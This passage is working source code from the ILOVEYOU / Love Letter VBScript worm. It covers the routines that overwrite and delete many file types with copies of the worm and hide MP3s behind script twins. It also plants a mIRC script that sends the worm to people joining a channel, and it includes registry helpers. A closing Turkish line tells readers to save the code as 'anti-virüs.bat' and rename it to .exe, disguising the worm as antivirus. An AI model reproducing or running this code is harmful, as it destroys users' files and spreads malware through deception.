set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0


kopyala not defterıne yapıstır sonra farklı kaydet fronten anti-virüs.bat olarak kaydedin kaydettikten sonra uzantısını (formatını) .exe olarak değiştirin.